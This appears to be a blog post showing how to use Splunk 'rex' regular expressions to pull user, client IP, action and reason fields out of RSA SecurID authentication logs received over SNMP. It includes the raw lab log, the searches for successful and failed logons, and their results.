5 23:04:07 securitynik_splunk snmptrapd[26393]: 2014-05-05 23:04:07 rsa.securitynik.lab [UDP: [10.0.0.100]:28359->[10.0.0.101]]:#012DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (29361399) 3 days, 9:33:33.99#011SNMPv2-MIB::snmpTrapOID.0 = OID: SNMPv2-SMI::enterprises.2197.20.17#011SNMPv2-SMI::enterprises.2197.20.16.5.0 = STRING: "ERROR"#011SNMPv2-SMI::enterprises.2197.20.16.7.0 = STRING: "13002"#011SNMPv2-SMI::enterprises.2197.20.16.6.0 = STRING: "Runtime event {ID: cf7e4b49218d56d00315ad670cf0d21a, time: Mon May 05 23:05:31 EDT 2014, client: 10.0.0.105, user: User [ID: 1c2258421e1d56d002f4d515cd8205de, session ID: cf7e4a49218d56d0029331e0f5b572f7-LbKGZLawB+Ov, login name: securitynik_User, first name: Securitynik, last name: User, security domain ID: 000000000000000000001000f0000000, identity source ID: a320d7851c8d72d00301c794b31ffb91], action: AUTHN_LOGIN_EVENT, action id: 13002, result: FAIL, reason: AUTHN_METHOD_FAILED, agent: Agent [ID: 2d2262b71c8d56d00278bfbc91c76a1f, name: ssl.securitynik.lab, address: 10.0.0.105, type: 7, security domain ID: 000000000000000000001000f0000000], policy: Policy [method ID: 000000000000000000002000f1022000, policy ID: null, method name: SecurID_Native, policy expression: null], arguments: [AUTHN_LOGIN_EVENT, 5, 1, 000000000000000000001000f0000000, SystemDomain, 5565f5c51c8d56d002d33ad1a1043d2c, SecurityNik-Group, null, null, null]}"#011SNMPv2-SMI::enterprises.2197.20.16.8.0 = STRING: "AUTHN_METHOD_FAILED"

What I needed that splunk did not have readily defined?
SecureID Server
Client IP
User ID:
login name:
First Name
Last Name
action
reason

How do we extract this? Let’s do it the “rex” way in splunk. Let’s begin with the successful logons.

RSA - Successful Authentication
"10.0.0.100" AUTHN_LOGIN_EVENT AUTHN_METHOD_SUCCESS | rex field=_raw "\[UDP: \[(?<rsa_server>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\].* client:\s(?<client_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}), user: User \[ID:\s(?<user_id>[a-zA-Z0-9]\w+),.* login name:\s(?<login_name>.*), first name:\s(?<first_name>.*), last name:\s(?<last_name>[a-zA-Z0-9]\w+),.* action:\s(?<action>\w+),.* reason:\s(?<reason>\w+),.* address:\s(?<address>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" |  stats count by _time, rsa_server, client_ip, address, user_id, login_name, first_name, last_name, action, reason | dedup login_name | sort count | reverse

The result!
rsa_server client_ip address user_id login_name first_name last_name action reason count
rsa.securitynik.lab 10.0.0.105 10.0.0.105        e2d286571c8d56d0038cd0df39806550 securitynik_user       Securitynik            User     AUTHN_LOGIN_EVENT  AUTHN_METHOD_SUCCESS 3

And now for the failed logons

RSA - Failed Authentication
"10.0.0.100" AUTHN_LOGIN_EVENT AUTHN_METHOD_FAILED | rex field=_raw "\[UDP: \[(?<rsa_server>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\].* client:\s(?<client_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}), user: User \[ID:\s(?<user_id>[a-zA-Z0-9]\w+),.* login name:\s(?<login_name>.*), first name:\s(?<first_name>.*), last name:\s(?<last_name>[a-zA-Z0-9]\w+),.* action:\s(?<action>\w+),.* reason:\s(?<reason>\w+),.* address:\s(?<address>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" |  stats count by _time, rsa_server, client_ip, address, user_id, login_name, first_name, last_name, action, reason | dedup login_name | sort count | reverse

The result!
rsa_server client_ip address user_id login_name first_name last_name action reason count
rsa.securitynik.lab 10.0.0.105 10.0.0.105        1c2258421e1d56d002f4d515cd8205de securitynik_user Securitynikt User     AUTHN_LOGIN_EVENT  AUTHN_METHOD_FAILED 2

With a little effort and time, it seems you can do almost anything you wish with the data which resides in splunk.

Generally the method of extracting the data was similar to the one which was done for the Juniper logs. It’s just in this case, what I wanted was more scattered and thus needed a bit more work. However, the concept remains the same for extracting the data.
Happy Splunking!


Additional Readings: http://www.autohotkey.com/docs/misc/RegEx-QuickRef.htm
http://docs.splunk.com/Documentation/Splunk/6.0.3/SearchReference/Rex